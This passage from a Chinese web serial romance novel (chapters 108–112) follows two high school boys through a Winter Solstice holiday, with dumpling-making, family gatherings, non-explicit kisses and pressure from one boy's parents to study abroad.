凌蒲用目光描摹一番,觉得时璟承有表情的时候很生动。 眼见对方似乎在生气,凌蒲几乎是凭着本能反应,轻车熟路地哄他:“我当然喜欢你了,时璟承,特别喜欢你。” 手上也轻轻地拍了拍时璟承胳膊:“没有人会不喜欢你。” “又帅人又好。” 凌蒲侧过头观察时璟承,眼见有点无效。于是在口袋里摸摸,拿出颗糖。 冬天挺冷,手也有点僵。他好半天才把糖纸撕开一个小口,用嘴继续撕开,衔出糖果,仰头给时璟承喂过去。 时璟承垂眸看着凌蒲,拒不配合。 凌蒲便伸手揽住时璟承的校服帽子后面,试图把对方朝下压压。 但这次时璟承就是坚持站直,毫不动摇。 于是带着点凉意的指尖没入时璟承乌黑的发尾,迫使对方低下头。 凌蒲不管不顾地找到嘴唇,用舌尖顶进去。 这次是桃子味的糖果,如同多汁水蜜桃般的香甜,混合着凌蒲依然生涩的亲吻,软软的嘴唇试探性地碰着,在冷风中更加温暖。 时璟承再也没法坐怀不乱,用手垫住凌蒲的后脑勺,把他按在小胡同的墙上亲吻。 很有经验地用腿抵住凌蒲,防止对方再次逃跑。 凌蒲每次都是这样,撩拨到时璟承主动,他便有点害怕地想离开,已经是惯犯。 但这次时璟承明显带点情绪,让凌蒲只能在原地招架。 最后还泄愤似的在凌蒲唇上咬了一下,又趁着凌蒲大口喘气的功夫,捏着凌蒲脸的手微微用力,让他侧过一点,低头吻着凌蒲的颈侧。 颈侧过于干净白皙,牙齿不自觉地想触碰,留下些痕迹。 反常的举动让凌蒲完全没有防备,陌生地酥麻了一下。 他捂着脖子,震惊地看着时璟承;“你咬我干什么?” 时璟承垂眸,看着有了痕迹的脖颈,虽然没几分钟就会消失,但陌生的满足感油然而生,伸手再揉乱凌蒲的头发。 他直起身,咬碎嘴里融化成小块的糖。他应该已经把这品牌所有口味的糖果都品尝了个遍,也算是被凌蒲强行安利。 “你是小狗吗?”凌蒲拉高自己的衣领,显然还完全没有意识到对方这样做的原因,一路上絮絮叨叨,继续表达震惊。 “真的有点奇怪。” “对了,你这几天有没有被什么动物咬过啊。我听说” “安静。”时璟承忍无可忍。 第109章 晚上,凌蒲和时璟承照例要发消息。 虽然距离下午的分别才过去不久,但总有事儿说不完。 【/粽:明天冬至,你一般怎么过呀】 【/粽:我要去奶奶家,和表弟表妹他们吃饭】 【时璟承:在家过】 【时璟承:多吃点】 凌蒲皱眉。 把手机丢到一边。 正准备睡觉时忽然想起什么,悄悄跑下床,打开台灯,在微弱的灯光里拉开睡衣领口,对着镜子观察脖颈处。 根据回忆左看看,右看看,又抬手摸了一下,上面已经一点痕迹都没有了。 但是摸的地方并没有传来酥麻感,当时那一瞬间的感觉很奇怪。 放下领子,又看了看自己的嘴。 仔细摸索半天,才发现上面留了个小小的伤口,忽然高兴起来。 虽然比起当时他在时璟承唇上的,几乎可以忽略不计,但就是受伤了。 他拍了一张自己的照片,仔细用圈把嘴唇上的小伤口圈起来,发给时璟承,跑回被子里等待回复。 此刻的时璟承正在家里通电话。 眉心紧拧,一手拿着笔无规律地敲击书本,神情不耐。 “我说了不出国读大学。不会出国。”他对着电话说。 现在外公时岳韬年事已高,恰在立遗嘱之际。他承诺只要时璟承去那边读大学,在身边陪伴几年,将把大部分遗产都留给时璟承,是一笔极其可观的数字。 时璟承的父母一直在催促,让他早日动身。 本来初高中就想接过去,后来是顾乾出面说他年龄小,那边才勉强作罢,但条件是勒令大学必须在时岳韬身边读。 随着时间将近,被提起的频率越来越高,之前白林玥聚会那次也是被派来的代理人纠缠,才没看到凌蒲的消息。 “这件事没有的商量。”电话那头女声不容置喙。 “那就不商量了。” 时璟承撂下手机,烦得要命。 打开未读消息,一眼就看到了凌蒲的照片。 眉头不自觉地舒展。 这张照片毫无角度可言,镜头从下到上,脸颊的那点婴儿肥更明显,红润的嘴唇间露出点洁白整齐的牙齿。 虽然照片模糊不清,但时璟承知道有颗牙齿是小虎牙,碰上去尖尖的。 他弯了下嘴角。 【时璟承:?】 【/粽:?】 【/粽:你看不到吗?】 【/粽:在画红圈的地方有一个伤口】 【/粽:/图片】 这回凌蒲用了稍细一些的笔刷圈出,还放大了一些画面。 时璟承仍然假装看不到,于是凌蒲果然着急地拨来了视频电话。 “喂,时璟承。”凌蒲神情严肃。 “怎么了?” 时璟承垂下眼,光影投射出一片浅淡的阴影,看着屏幕里的凌蒲。 “你看。” 凌蒲凑近,几乎贴在镜头前,让时璟承看他嘴唇上的伤口。 时璟承一直假装光线不好,骗着凌蒲换了好几个角度,着急得不行。 “哦,是有一点。”直到凌蒲有些恼怒,时璟承才假装刚看到。 “很疼的。”凌蒲满意地朝后靠靠,露出整张脸,“尤其是冬天,走出去被风一吹,更是特别疼。” “不好意思。” “下次别咬我了。” 凌蒲用一双单纯的眼睛认真地说。 “脖子上好没好?”时璟承问。 “回来的时候有一点,现在没了。”凌蒲实话实说。 “我看下。” 在时璟承的要求下,凌蒲跑过去把门关上,手机架在窗台上。 他解开毛绒绒的冬季睡衣衣领,露出片脖颈和锁骨,那个吊坠就挂在中央,红绳一晃一晃,仿佛整个人是时璟承的所有物。 “再解开颗扣子。”时璟承眸色渐深,烦躁的心情稍有舒缓。 凌蒲乖乖听话,动手解开下面一颗,露出小片胸口。 他深情依旧单纯,还仰头观察时璟承,看看对方是否满意。 “凌蒲。”时璟承嗓音更沉一些,“你怎么这么好骗。” 凌蒲望着时璟承,反应过来对方什么意思之后匆匆掩上衣服:“你又这样。” 耳廓和耳垂红了一片,隔着屏幕都能看出来。不过还是低头说道:“没有关系,时璟承,如果你想看的话都可以看。” 又故作爽快地补充:“我一开始说的就是玩玩嘛,你一直不好意思玩。” 时璟承看着里面的凌蒲,眼底的烦躁尽数散去。 “衣服穿好,别着凉。” 凌蒲便整理好,重新坐回去,也忘了最初打视频的目的是什么。 他和时璟承絮叨:“明天是冬至,你是不是要和你哥还有邵哥一起过,到时候得吃饺子。说不准还要我包呢,我很会包饺子。” “包什么馅的饺子?” 时璟承似乎有点累,靠在了椅子上。 “我奶奶会包白菜猪肉,韭菜鸡蛋。但是我不喜欢白菜和韭菜,所以他们会给我包木耳虾仁肉馅,很好吃的。你喜欢吃什么馅?” “也你这个馅吧,听起来确实不错。” “冬至之后不知道会不会下雪,我想看雪。之前在杭苏那边冬天都不下雪,十几年没见过雪了。去年这边下没下啊?” “可能下了。”时璟承说,“不太记得请。” “你竟然不记得了,看到下雪应该很高兴。” 凌蒲越说越兴奋,向时璟承描绘如果下了雪他要做什么,又说到了放寒假,还说放寒假的时候以前高中小伙伴还会再来找他。 一直说到挺晚,钱芷又来敲他门:“凌蒲,周末也别太晚了,明天还得早点起。” “知道了。”凌蒲捂住话筒说。 他有点意犹未尽;“时璟承你等我一下,到床上说。” 凌蒲关掉台灯,窸窸窣窣一阵,钻进被子里,继续和时璟承聊天。 一聊着聊着眼皮开始发沉,像有胶水似的朝一起黏。 “要不睡觉吧。”时璟承听出他声音开始困。 凌蒲看了一眼时间:“再等一等,时璟承。” 虽然这么说着,他眼睛已经开始朝一起闭。 时璟承便没再说话,安静等待着。 凌蒲的眼睛闭了睁,睁了闭,最后和时璟承说:“时璟承,你十二点叫我一下好不好,我要先小憩一下。” “好。”时璟承今晚并没有睡意。 得到时璟承的答复之后,凌蒲不再和眼皮做斗争,一合就睡着了,手机落在枕头上,呼吸声逐渐变得绵长而均匀。 时璟承听着他的呼吸声,又转了下手表,其实现在距离十二点也就还有二十分钟。 随着他动作,手表下面露出一截红色的编织绳,出现得很突兀。 仔细看的话会发现中间坠着个金色的粽子。已经经过很多年,绳子换过很多根,但黄金材质历久弥新。 凌蒲总是有很多奇思妙想,所以时璟承也不去问为什么要在十二点叫他,就按照凌蒲说得做。 顺手打开电脑,邮箱里已经被塞满,挨个点开,基本上都是父母发来的邮件,以及很多大学的资料和申请须知。 随手点开一封。 【时璟承,想申一个好大学很多材料都得提前准备。你得参加语言考试,还有他们指定的考试。我们不可能让你在国内上大学,不要一意孤行,最后没学上,毁的是你自己的人生。】 时璟承关掉。 把电脑也合上,再次抬手看了看表。 十一点四十三分,还有十七分钟到十二点。 他打开最后一个抽屉,从里面拿出一张照片, 这正是之前收起来的,小时候节目里的照片。时璟承把这张照片重新放在桌子上,里面的凌蒲小脸圆圆,眼睛大大的,正试图对着镜头笑。 只不过好像找错了镜头,看起来呆呆的。 和现在一样。 准确来说是现在和小时候一样,还是很可爱很温暖,像一个会自己散发光和热的小球。 空气变得很安静,两端都没有什么声响,直到过了一会儿。 “凌蒲。” 凌蒲睡得挺浅,呼吸声被打断,他抓起手机,听到时璟承的声音。 “十二点了。”时璟承说。 “冬至快乐,时璟承。”凌蒲的声音含含糊糊,但坚持说道。 时璟承愣了一下,没想到对方就是为了这个。 “喂,你快回我呀。”凌蒲听起来有点不满,用黏糊的声音催促,像是在撒娇。 “嗯,冬至快乐。” “晚安时璟承,我睡觉了。” 电话被挂断,看起来凌蒲是彻底进入了梦乡。 时璟承看着变黑的屏幕,放下手机。 * 第二天,凌蒲出发去奶奶家。 终于不用穿讨厌的校服,准备穿上自己喜爱的带图案的宽大外套。 裹得严严实实,出来吃饭。 桌上已经摆好了美味的早餐,花瓶里插了一只红色的花朵,外面响起噼里啪啦的鞭炮声,颇有冬至日的氛围。 钱芷打量凌蒲,欲言又止,最后还是言了:“这是你小时候的外套吧,今年换件穿。” “没有啊,我去年还穿。”凌蒲坐到餐桌边,拿起筷子。 “去年和今年也不一样了,一会儿妈妈给你找衣服穿。” 凌蒲敏感:“妈,你是不是嫌我穿的衣服丢人。” “没有,你平常可以穿喜欢的衣服,这当然是个人自由。”钱芷说道,“但去奶奶家,见弟弟妹妹,你还是要穿得成熟点,有个哥哥的样子。” 虽然凌蒲不乐意,但还是由钱芷出手,再次把她这个成天浪费脸蛋的儿子打扮了一下。 作为一个舞蹈老师,钱芷的审美还是没话说。 她让凌蒲在里面穿上高领浅蓝色毛衣,柔和的颜色很衬凌蒲的肤色和气质,外面再穿一件灰色厚呢子大衣,最后吹吹头发,简直是妙手回春。 凌蒲本就身高腿长,五官也抗打,能撑得住所有衣服。 和方才的儿童穿搭相比,高级了很多level。 但是模特凌蒲不大自在:“好别扭,穿这个大衣。还是外套舒服。” “平常你随便穿,串亲戚的时候听妈妈的。” “好吧。” 凌蒲只得把自己当成一个吉祥物,就这样提上礼品,跟着钱芷和凌逸飞回奶奶家。 奶奶家早就人满为患,屋里坐了不少亲戚。 “诶呦,凌蒲回来了!” “好久不见,又长高了!” “现在长这么帅呀。” 凌蒲一番叔叔婶婶姑姑姑父地叫了一圈,还是被默认去和小孩一起打游戏。 于是来到里屋,看着一人捧一个手机厮杀的表弟表妹,自信加入。 还专门下了个小学生之间流行的游戏,和表弟表妹一起组队。 认真玩了会儿,被KO了无数次。 “你太菜了哥,接下来要做个任务,我俩不能带你了。”表弟委婉道。 “噢噢。” 凌蒲若无其事地退出来,假装浏览了会儿网页。 本来想找时璟承聊天,但默认大家都会很忙,时璟承现在应该和他哥在一块儿过节,还是不打扰的好,他默默走到客厅。 大人们在打牌和麻将,凌蒲也不会,于是他独自坐在电视前,孤独地乱换台。 公共场合得找点老少咸宜的节目,他点开一档冬至特别版演出,观看现场直播。 台上请的都是大腕,唱歌跳舞挺精彩。 打牌和打麻将的人也回过头观看,对凌蒲选择的节目表示赞许。 “亲爱的观众朋友们,我们本次还请到了著名的顾乾,顾老师,作为做客嘉宾。” 在直播大厅里,熟悉的身影出现。顾乾依旧是那副冷峻的五官,身上穿着较正式的服装,被主持人采访,他的人气值很高,在出场的时候获得了热烈的掌声。 打牌的钱芷听到电视的声音,感到挺惊喜,握着把扑克牌过来看:“今年还请顾乾来了?” 姑姑接口道:“应该的,今年他主演的那部电影不是最火的吗?小凌去没去看?” “啊。” 被点名的凌蒲心不在焉地应了声,看着屏幕里的顾乾,他竟然没有和时璟承在一块过节。 第110章 “包饺子了!” 一盆盆饺子馅被从厨房端出,中间有一小盆是特地给凌蒲和的,木耳虾仁猪肉馅。 奶奶一边朝茶几上摆开,一边说道:“准备得多。来一趟不容易,到时候大家多带点回去。” 屋里热热闹闹,大人们牌局和麻将局都还没结束,于是凌蒲洗手开始独自包饺子。 才十六七岁的凌蒲已经是个拥有十五年经验的包饺子熟练工了,在饺子皮周围轻轻拉扯,馅放中央,再一捏一掐,细致地修出小花纹,饱满又漂亮。 溜达出来的表弟表妹想捏一下,也被凌蒲严加防范。 “我们凌蒲包的真好看。”奶奶夸道,“先帮你下一锅。” 凌蒲跟着端饺子跟进厨房,严苛的目光挨个扫视,把品相略微不端正挑出来,把相对丑的筛到锅里,剩下的个个貌美,像能参加选美大赛。 他找来饭盒,撒点面粉,把饺子一个个放进去,暂时存放在冰箱里。 “哥,你要给谁吃?”两个跟屁虫问他。 “不告诉你们。” “你是不是要带给女朋友吃?”五年级的表弟貌似很懂。 凌蒲警惕地看了周围一圈,教育早熟的小学生:“我可没有女朋友。不能早恋。” 但是有男朋友。应该算吧。 凌蒲的耳朵有点红。 表弟嗤之以鼻:“哥,这都什么年代了,你真封建。” “” 中午一大家子齐聚吃饭,围坐成一圈,小孩子忙着洗手分筷子,大人摆起酒杯倒酒,热热闹闹,很有冬至的氛围。 但今天,向来能言善辩的凌蒲忽然有些沉默。 “凌蒲有心事?”姑姑给凌蒲夹了一筷子,“以前你最能说。” “可能长大了,和弟弟妹妹这些小孩儿聊不到一块儿去了。”有人打趣。 表弟表妹不服,表妹凌萱用大声悄悄话告诉妈妈:“刚刚哥哥打游戏根本打不过我们,长大也不厉害。” 凌蒲摇头:“小学生游戏。” 凌萱破防:“我班里同学都玩,很多大人玩的,粽粽哥哥就是自己不行。” 两人吵吵嚷嚷,直到表妹一瘪嘴,凌逸飞忙打圆场,对着凌蒲说:“凌蒲你都多大了,还能和小屁孩吵起来。” 这话更是触动逆鳞,本来没打算哭的表妹拿着鸡腿哇哇流泪。 凌蒲慌忙哄了半天。 “好了好了,不见面的时候一直念叨着粽粽哥哥,见了面又吵。”姑姑说道,“他俩一直念叨着让你带去小广场呢,等了好几个月了。” 于是吃完饭,凌蒲戴罪立功,带着两个小的去楼下小广场玩。 楼下超市老板娘准时得如同NPC,不管什么节假日或者有点庆祝的由头,总是很应景地把小摊摆在外面,以前放点烟花爆竹,现在禁燃禁放,就寻点玩具糖果。 “诶,凌蒲你回来了?变得这么帅,差点没认出来” 老板娘和凌蒲是旧相识,看到就开始打招呼。小时候凌蒲是这里的常客,老板娘没少拿零食玩具诱惑他。 凌蒲笑笑,也打招呼。 “看看有什么喜欢的,这都是最新的。” “姨,我都多大了,您还拿我当小孩骗呢。”凌蒲相当成熟,矜持道,“我带表弟表妹来买。” 说着走到摊前,看到琳琅满目的摊子,凌蒲不得不赞叹老板娘的商业头脑。 冬至日很应景的有个饺子外形的容器,上面一个别致的小锁扣,里面打开应该是很多糖果,特别新奇。 为了不破刚刚的flag,凌蒲假装若无其事地拿起来看看。 表弟表妹都已经挑好,催促着快走。 老板娘专攻凌蒲:“这在拿货的时候特别难抢,她们那些小女孩说是什么联名特别款,就这几个。“ 凌蒲还是有点抹不开面,问凌萱:“你要吗?” 凌萱摇摇头:“不喜欢吃饺子。” 老板娘看着凌蒲的神色,一副志在必得地继续道:“忽然想起来我侄女不知道感不感兴趣,你不要的话我给她留着好了。” 说着就要上手拿,凌蒲握在手里,扫码付钱。 收起手机时看着老板娘狡黠的神情,知道自己还是被拿捏了。 默默离开。 两个小的倒是很满意,一路上叽叽喳喳,表弟问:“哥你今天住不住在这儿啊,你家离这好远的。” “舅舅喝了酒,晚上肯定会住在这的。”凌萱倒是很聪明。 “舅舅和舅妈都在这,那粽粽哥哥肯定在这里,一个人也太可怜了。” 两人的对话让凌蒲思索。 一路心不在焉地揣兜回家,和凌逸飞商量:“爸,我想回去陪个同学,他一个人过节好可怜。” 凌逸飞并没起疑,凌蒲从小人缘就好,他调侃两句。 “你这结交天下英雄的本领越来越强了啊,凌大侠。属于大义灭亲,家里老父亲怎么办?” 凌蒲努力:“这个同学很孤独很寂寞的,我需要去帮助他。” “真这么可怜啊。”凌逸飞挺有画面感,“可是爸中午喝酒了不能开车,这边到家将近五十公里,你怎么回去。” “坐车转一下。我都这么大了,丢不了的。” 他一番口舌,说服了凌逸飞,提前离开奶奶家。 导航搜索可怜同学的大别野。 没想到驾车不到一小时,坐公共交通竟然要两小时十分钟。 他还没有奢侈到打这么远的车的程度,老老实实地按照地图换乘。背着装了饺子的小书包,凌蒲默默出发,坐上公交车。 颠簸中,百无聊赖的凌蒲摸出手机,把玩两下。 他已经整整一个上午没有和时璟承联系了。 不自觉地点开消息列表下拉刷新,并没有新消息跳出,但目光却忽然固定在了时璟承新换的头像上。 变成了一个约莫两三岁小孩子的大头照,圆圆脸占据大半屏幕,眼睛也圆,但没找准镜头,感觉呆呆的,乍看和个小包子似的。 【/粽:?】 【时璟承:?】 【/粽:换头像了?】 【时璟承:嗯】 【/粽:不许用这个/难过】 【时璟承:为什么?】 凌蒲看着这头像,虽然和时璟承气质不符,但用这种小孩头像的挺多,在他漫长的好友列表随手一翻就能找到无数,照理说没理由限制时璟承头像使用,但是—— 【/粽:这是我。】 【/粽:!】 这赫然是凌蒲的小时候。一是小时候的黑历史感到羞耻,二是和时璟承的名字挨在一起,手机仿佛变得烫手起来。 他用带感叹号的表情包给时璟承刷屏,但时璟承没有换掉。 一直等刷屏的表情包停下,那边发来消息。 【时璟承:要收版权费?】 【/粽:你用着多奇怪呀,不怕被别人发现吗】 【时璟承:为什么怕被发现?后悔了?】 见凌蒲一时半会儿没回复,时璟承转了话题,问他在做什么。 凌蒲看着窗外飞驰而过的景象,忽然有点紧张。他不擅长骗人。 【/粽:我还在奶奶家。我奶奶家离那边很远很远,五十多公里,晚上可能不回去了。】 【/粽:我在陪表弟表妹玩,他们打游戏不带我,还说我打的菜。回去你也下一个试一下,根本不一样】 为了更加真实,凌蒲又发过去几张之前拍的照片,证明说的是真的。 此时此刻,时璟承正独自坐在偌大的房间里,看着凌蒲发来的图。 两个小孩子都和凌蒲有些相似,不由让人猜想起小学时候的凌蒲。不过凌蒲的眼神独一无二,大眼睛里透着点纯透着点呆,但又清澈见底,如同春天冰雪消融的湖泊。 时璟承没有见过第二双这样的眼睛。 他靠在椅子上,等他退出图片页面,发现凌蒲已经又给他发了不少新消息,都能推出这一上午的行踪来。 仿佛耳边又响起凌蒲圆润清朗的音色,在耳边叽叽喳喳个不停。房间忽然变得有些静。 看着上方“正在输入中”字样,时璟承反应过来时,他竟然按下了语音通话按钮。 但没有响太久,对面很快就挂断。 【/粽:我在奶奶家,很多人,不太方便电话。】 方才的“正在输入中”完全消失。 时璟承回了个“嗯”,放下手机,继续度过他平常而又重复的一天。 外面汽车驶过的声音要比往常频繁一些,虽然是别墅区,但也不乏探亲访友的。 他垂下眼,继续看书。 不知过了多久,响起的门铃打破寂静。 等又响了一声,时璟承站起身。 打开门口画面之前,他没想出会是谁,认为或许是快递或者闲杂人等,只消一句话就能打发。 所以当凌蒲的身影出现在屏幕中央时,时璟承着实愣了愣。 对方戴了个黑色保暖口罩,背着时璟承熟悉的书包,围巾看起来很保暖,几乎把整张脸围了个严实,头发微微乱,正对着门上的反光整理自己,在屏幕里看着很近。 见还没有人开,凌蒲皱了一下眉头,又按了下。 门锁“咔嗒”一声,在他门前悠悠打开。 凌蒲先观察了一下院子里没有停车,便大摇大摆地进去。现在这里对他来说已经是轻车熟路,条条径径摸得很清楚。 一边走一边解着围巾口罩,嘟哝:“时璟承,为什么不来迎接我?” 抬头看到在楼梯口的时璟承,当即露出笑容,伸手抱住。 又想起什么,把外面束手束脚的大衣脱了;“这种长衣服好讨厌。而且车站有人在我旁边抽烟,烟味都飘上来了。” 时璟承先接住大衣,再接住重新扑上来的凌蒲。 这人身上只穿一件软软的浅色毛衣,抱起来很舒适。 凌蒲热情拥抱结束,照例松开手,却发现自己这次被束缚住。 对方竟然罕见地抬手回抱他,温热的触感和方才外面的冷空气形成鲜明的对比,凌蒲一时不知所措。 时璟承微微低下头,在凌蒲颈侧嗅了嗅。 电流般的酥麻从两人接触的地方蔓延开来,凌蒲的手指不自觉地蜷了下,抓紧时璟承的衣服。 “好像没有烟味。”时璟承说。《 》 110-120 第111章 “你不是去过节了吗?”时璟承问。 凌蒲把冰冰的手在时璟承衣服上暖了暖,用很随意的口吻:“提前回来了。” 时璟承感受到他的手很凉,身上带着寒气,方才在外面全副武装的样子,显然在室外待了挺久。”怎么回来的?“ 凌蒲顿了一下:”就我爸送我。“ “那怎么蹭上车站的烟味。”时璟承用凌蒲的话问他。 凌蒲移开目光:“就路过嘛,而且你说没有烟味。” 和凌蒲相处久了,时璟承发现对方其实不太会说谎,每回都不敢直视眼神,小动作挺多。 他不揭穿这个谎言,把人带到屋里坐下,煮了杯热茶。 “时璟承你会的好多。”凌蒲接过来,氤氲的热气让睫毛变得湿润,眼神也湿漉漉。 今天凌蒲格外帅气,发型打理过,毛衣也风度翩翩。主要他平常太随意,稍微打扮一下就眼前一亮。 凌蒲放下书包:“今晚让阿姨放假,我给你做饭吃。” 时璟承挑了眉头,回忆起之前那盘让人印象深刻的西红柿炒蛋,充满质疑。 “你不要用过去的眼光看待我。”凌蒲抗议。 “行。”时璟承漫不经心地碰了碰凌蒲的脸颊,还带点凉意,“阿姨本来就放假。” “那你是个人性化的资本家。”凌蒲小口地喝着热茶,眉目清晰明朗。 时璟承顺势抬了下凌蒲下巴,垂眸,视线落在凌蒲带着水渍的唇上,似乎在升高的温度里更加柔软。 赤裸的眼神让心思昭然若揭,但这回凌蒲没太领悟,大咧咧道:“我嘴上伤口早好了,你就留了个很小的伤口,已经没事了。” “哦。”时璟承回答,但依然没有放手。 凌蒲偏过头想继续喝手里的茶。在外面舟车劳顿太久,思维变得迟缓。 直到他手里的杯子被时璟承拿过去,放在桌上。 “?”凌蒲皱眉。 时璟承不满地“啧”一声,缓缓低头,一个吻落下来。 凌蒲只顿了一下,反应过来之后本能地抬手,抱住时璟承。 如同之前每一次接吻一样青涩而混乱。 凌蒲的注意力一会儿扯到外面没拉窗帘的窗户上,一会儿又回想方才门有没有关严,时璟承的哥哥会不会忽然回来,可能还想了些别的。 思绪像是电影被暂停之后拉动进度条,每一帧画面都一闪而过。 乱颤的睫毛和飘忽的眼神显示出他的不专心,时璟承捂住他的眼睛,凌蒲不知道怎么就半靠在了沙发上。 沙发宽又大,但比起床来说还是太小。在被放倒时,连坐一小时公交车板凳又因让座而站了一小时的凌蒲感到未知酸痛,哼了一声。 很快就噤声,对于他这样年轻人来说,不该这样示弱。 但细小的声音被捕捉到,时璟承停下,平复了下稍快的呼吸:“怎么了?” “没事。”凌蒲逞强。 时璟承伸手,在他身上从上到下按了下,到腰部时,凌蒲躲了下。 时璟承一边把凌蒲按在沙发侧,一边在这个位置捏捏摸摸,看着凌蒲表情。 “放手,时璟承。”凌蒲腰背都有点痛。 时璟承弯了下嘴角,拨弄凌蒲凌乱的发丝,顺着他方才的谎言:“你说有五十公里。那坐轿车一个小时就腰疼。你有点弱。” 这番言论果然戳中凌蒲,尤其是罪魁祸首就在眼前,还这样说他。 “你才弱。”凌蒲憋出一句。 他肉眼可见地炸毛,不过最终也没说出实情,只是闷闷不乐地扭过头。 “下次打电话给我,去接你。” 时璟承说着,帮凌蒲揉了揉他的腰。 冬天外面衣服太厚,全是鼓鼓囊囊的布料在摩擦,凌蒲按住时璟承的手:“别了,里面这件衣服侧面好像有水洗标签,有点扎人。” 于是时璟承从他下摆伸进去,蹭了下凌蒲腰侧。触感温暖,皮肤细腻光滑,外面那层薄薄的肉挺软,里面腰肌有着蓬勃的韧性。 凌蒲本能地收收腿。 “哪里酸?” 时璟承问着,指腹朝腰后侧挪动,压了下。 倒是正好按在最酸的位置,凌蒲哼唧一声,放松下来,由着时璟承给他按。 为了更配合,还随手把衣服撩起一点,浅蓝色毛衣下露出白皙的肌肤。 时璟承离凌蒲距离很近,垂眸就能看清哪里有颗小痣。时璟承明显地顿了下,又给他盖上。 凌蒲掀开,时璟承又盖上。 这让凌蒲玩心大起,观察着时璟承冷酷的神情,抬腿蹭了蹭他。 试探地,像只伸爪的猫,还是撩完就要跑的一贯风格。 “凌蒲。”时璟承抬眼看着他。 浓黑的瞳色和发色如出一辙,像一颗黑色的星星。 里面读不懂的神情让凌蒲察觉到危险,认怂地推开时璟承坐起来,拿起自己的书包:“好了。我给你做饭,你去楼上等。” “为什么要去楼上?” “烹饪过程要保密,不然就没有意思了。”凌蒲自信地掂掂书包,“你不相信我吗?” “我怕你把厨房炸了。” 凌蒲笑道:“我不用别的,就用那个电锅。” 在他的催促下,时璟承被关在厨房外。 凌蒲从书包里取出跟他一起奔波的饺子,一路上都被抱在怀里,因此一点都没被压到,他满意地打开,起锅加水。 煮饺子对他来说还是小菜一碟,不过为了保险起见,还是搜了教程,老老实实地一步步来。 等锅里的水第二次沸腾,凌蒲把饺子捞出。 个个都饱满圆润还没有任何一个露馅,极其完美的杰作让他成就感爆棚,细心用铲子调整间距,和列队似的齐整。 再用漂亮的小碟子加上醋,端出来放在餐桌上。 他看到时璟承并没有走远,而是站在餐厅隐蔽的一侧靠着墙,不知偷偷打量了多久。 “冬至,吃饺子。”凌蒲摆在桌上,很是自得地邀请。 时璟承拉开凳子坐下,看着这一盘饺子,一时没有动作。 “别发呆呀。”凌蒲催促道,又从口袋里摸出个饺子形状的东西送给时璟承,“还有这个糖,随手买的,给你。快尝快尝,” 在他满怀期待的目光中,时璟承吃下一个。 凌蒲紧张:“怎么样。” “好吃。”时璟承点了头。 不再是简单的一个“嗯”字,凌蒲认为十分难得。 而以前据他的观察,时璟承对食物并不算太热衷,不管多么高级的饭菜都浅尝辄止,然而这回,对方却把盘子里的饺子都吃掉了,不由露出满意的笑容。 “笑得有点傻。”时璟承放下筷子。 “你知道我现在什么心情吗?” “嗯?” 凌蒲细致描绘:“我五岁的时候用罐头和猫粮给我的猫做饭,它全吃完的时候我就是这种心情,超有成就感。” 时璟承看着他。 “还有初中的时候,跟着我妈学了炒肉,大家都嘲笑我,但是小花却全吃完的心情。” “小花是只猫?” “小花是只狗。我可喜欢它了。” “哦。” 时璟承很淡定。 “你为什么换那个头像啊。”凌蒲忽然想起。 “怎么了。” “很呆啊。”凌蒲用筷子戳戳饺子,“而且和你的气质不搭,别人会怀疑。” “我喜欢。”时璟承简短,又补充,“你要是不愿意我就换。” 前三个字让凌蒲停下手中动作,愣了愣。抬头看着时璟承如常的神色,心想这着实是个很甜美的梦。 “随便你吧。”最终凌蒲说。 晚上他顺理成章地留宿,穿着专属睡衣躺在时璟承床上翻来覆去。 这回时璟承竟然准备了两个被子,并排摆在床上,很见外。 凌蒲孤独地躺在自己的被窝,抬眼看着时璟承。 时璟承正就着台灯看书,不为所动。侧脸的轮廓被柔和的灯光映亮,让凌蒲发了好一会儿呆。 等看到凌蒲闭上眼睛,时璟承放下书。 犹豫一下,拿过静音一晚上的手机,快速翻了下,眉头不由自主地拧紧。 【你都已经快成年了吧,到这边待几年能怎样,教育资源不输国内。以你的水平能申请到更好的大学】 【外公又没要求你给他养老送终,陪他几年,抽空去看看,等毕业了没人再管你。】 【本来我们让你初中就过来,是顾乾让我们等到你大学】 【你哥都已经帮你到这份上了,你知道他这几年损失多少吗,懂点事可以吗】 【你哥是公众人物,舆论很容易让他这几十年的积累身败名裂。】 【不到不得已,我们不会这么做。但你要知道这件事情不难。】 时璟承关了灯,在被子里毫无睡意。 他难免对手机里的消息感到烦乱,这么多年都很少出现的亲生父母,却在这时候频繁联系,用能用的手段威逼利诱,甚至包括顾乾,也成为威胁的一部分。 而看似只是出国待个几年就可以解决一切,他没有任何损失,连顾乾都不太理解他为什么拒绝得如此坚决。 外面夜色沉沉,一轮月挂在天空中,周围没什么星星,只有一片漆黑。 身旁窸窣一阵,旁边人抬起身子。 时璟承闭上眼。 凌蒲暗中观察,探着头看了几回,确认时璟承已经睡着。然后悄悄把被子掀起一个角,蹑手蹑脚地钻进时璟承的被窝。 小心翼翼地抱住他,满意地蹭了蹭脸。 他自以为做得很隐蔽,仰起脑袋就对上时璟承睁开的眼睛,吓得一激灵。 慌乱地辩解:“你没睡吗?我有点冷,而且在陌生的环境,有点害怕算了,再见。” 声音越说越小,最后默默回转身,准备再重返自己的被窝。 被时璟承从身后抱住,耳边传来有点疲惫的低声:“睡吧。” 不知是谁的心跳,响在安静的夜晚。 第112章 今天是圣诞节。 凌蒲对着课桌上的日历,看上面的小圣诞树图案,用黑笔涂了几个小圈。 和旁边放假的国际部不同,他们课程正常开展,一节连着一节,杜绝跑出去的可能性。 但氛围还是不可避免地在教室里渲染开来,对于有一点小火星就可以噼里啪啦炸开的高中生,不管三七二十一,有的玩就好。 同学们之间有不少圣诞元素,有人念叨着经典主题曲,坐在凌蒲前排的章飞回头,向凌蒲展示他的超大圣诞糖果。 新上任的班长沈庭赫给每人都发了平安果,有个女生送给凌蒲一个戴圣诞帽的小熊。 “这个给你。还有这个麻烦帮我转交给时璟承。”女生说道,给时璟承的圣诞帽小熊多了张贺卡。 “谢谢。” 凌蒲点头接过来,帮忙放在时璟承桌上。 时璟承的座位上礼物已经很多,从贺卡到奢侈品牌,应有尽有。 往常每逢有庆祝由头的时候,凌蒲都会是最兴奋的那个,但他今天有点心不在焉。 因为时璟承的座位到现在还是空的,只有满桌的物品堆积。 直到早自习打铃,还没出现。 凌蒲一边假装背书,一边用笔在本子上毫无意义地涂涂画画。 心里的念头压不下去,或许时璟承去陪白林玥在过圣诞,毕竟白林玥在外面留学多年,肯定会欢庆。 他克制自己不多干涉时璟承的生活,手在书包里握住手机,终究没有解锁。 随着时间一分一秒地过去,凌蒲脑海中已经展开幻想。 